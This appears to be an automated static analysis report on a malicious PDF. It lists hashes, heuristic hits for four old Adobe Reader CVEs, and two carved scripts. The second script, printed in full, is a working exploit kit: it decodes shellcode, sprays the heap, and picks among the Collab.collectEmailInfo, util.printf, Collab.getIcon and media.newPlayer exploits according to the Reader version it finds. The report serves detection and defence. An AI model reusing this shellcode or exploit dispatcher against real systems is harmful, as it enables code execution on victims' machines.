Malicious PDF — malware analysis report

Static analysis result for SHA-256 efa10b99ff01afa0…

MALICIOUS

PDF

26.2 KB Created: 2011-72-51 03:25:00 First seen: 2026-05-08
MD5: 4cc688ab44b7f506729262b6daa3f987 SHA-1: ba19428b2932f3e949f839f7e8e44dd784946245 SHA-256: efa10b99ff01afa051728c4797e47e31e0abc234442d18a22978148164cf748c
548 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.007 JavaScript

The PDF file contains embedded JavaScript with an eval() call, indicating an attempt to execute obfuscated code. This is a common technique for downloading and running additional malicious payloads. The heuristic firings for PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL strongly support this conclusion. The specific JavaScript stream was identified as javascript_obj0001_000.js. Due to the obfuscation, the exact nature of the payload could not be determined.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      DuEs=eval(WeneqHpuhvybe.replace('LelEl','')+'val');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x6463 903 bytes
SHA-256: f40206c104a122b3430bac66a9768153bfe40aaf6f193eef794ca6575037bec9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var HaUza='';
var LelEle=this.producer.substr(0,4);
for(var WeneqHpuhvybe in this) {
	if (WeneqHpuhvybe=='LelEle')
		DuEs=eval(WeneqHpuhvybe.replace('LelEl','')+'val');
}
XitebacepivoQycecabyb = DuEs('new Date(2007,2,51,2,12,5)');
CipanEba = 'thi'+XitebacepivoQycecabyb.getHours()+'ducer';
Ximnum=DuEs(CipanEba.replace(2,'s.pro'));
Ximnum = Ximnum.replace(/t/g,'2');
ihasicufAxageqetyj = Ximnum.substr(4).split('s');
var SylerwatidapevHob = '';
g = XitebacepivoQycecabyb.getHours()*2;
var CuquwInagow = 'fro'+XitebacepivoQycecabyb.getHours()+'arCode';
CuquwInagow=CuquwInagow.replace(2,'mCh');
BuvysofyqybirexuRite=String[CuquwInagow];
for (WeneqHpuhvybe = 0; WeneqHpuhvybe < ihasicufAxageqetyj.length; WeneqHpuhvybe++) {
	CezelibiJazaxuqamevo = DuEs(ihasicufAxageqetyj[WeneqHpuhvybe]);
	SylerwatidapevHob += BuvysofyqybirexuRite(CezelibiJazaxuqamevo);
}
DuEs(SylerwatidapevHob);
info_arithmetic_stage_000.js deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3728 bytes
SHA-256: 2b71c9aec6d20e46497a285bdb2721df39f375a51cce2e6ba0c2455bac441828
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u55B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%uAC34%uE2AA%uC3FA%uE5E8%uFFFF%u45FF%uADA0%uACAC%u2DF2%uF040%uACAD%u25AC%u214B%uBCE3%uC321%u9DF8%uFB77%uFFFD%uFFFF%uFFFF%uFFFF%uFFF9%uC4FF%uADA8%uACAC%uFAF9%uC4FF%uC2C3%uACAC%uD9C4%uC0DE%uF8C1%u22C4%uA2E2%u4440%uACE4%uACAC%u44FC%uACD0%uACAC%u7C53%u682F%uC4A4%u43E3%uA9E3%u44FC%uACC0%uACAC%u7C53%u6C29%uBBD9%uF8C6%u5FF5%uC406%u52DE%uBA1F%uB144%uACAC%uFCAC%uFD44%uACAC%u53AC%uFF7C%u52C6%u25C4%uADC3%u4411%uACA4%uACAC%u44FC%uAC90%uACAC%u7C53%u9DCC%uC86C%uFC27%u279C%uA0FE%uFE27%u27B8%u84DE%uB415%uACAC%u9DAC%u9D53%u006C%uCD90%uAED0%u8C80%u636D%uADA1%u4E6B%u2D5C%uF753%uE610%u27C6%uBCEE%uBE27%u75D9%uE825%uB088%u6FCD%u27CC%u88C0%u2788%u90E9%uF827%uD4A9%u46AD%uE627%u27B4%u8CF6%u47AD%u984F%u27E5%u2798%u42AD%u539D%u6C9D%u0050%u6C28%uABD8%u636D%uADA1%u476B%u9758%u88D0%uD984%u274D%u88F6%u47AD%u27CA%uE7A0%uF627%uADB0%u2747%u27A8%u44AD%uE825%uB088%u6ECD%uACA4%u4344%u5352%uC453%uD8D8%u96DC%u8383%uC5C7%uC5DE%uCDCE%uC8C2%uDFC5%uCF82%u82D6%uCFCF%uC383%uD8D9%uDC82%uDCC4%uCD93%uFD91%uC7FD%uEEEA%u9CCB%uEEEE%u9CFD%uE8EF%uEDED%uE9EF%uCFC7%uEEE6%u91ED%u8A91%u91DC%uAC9B';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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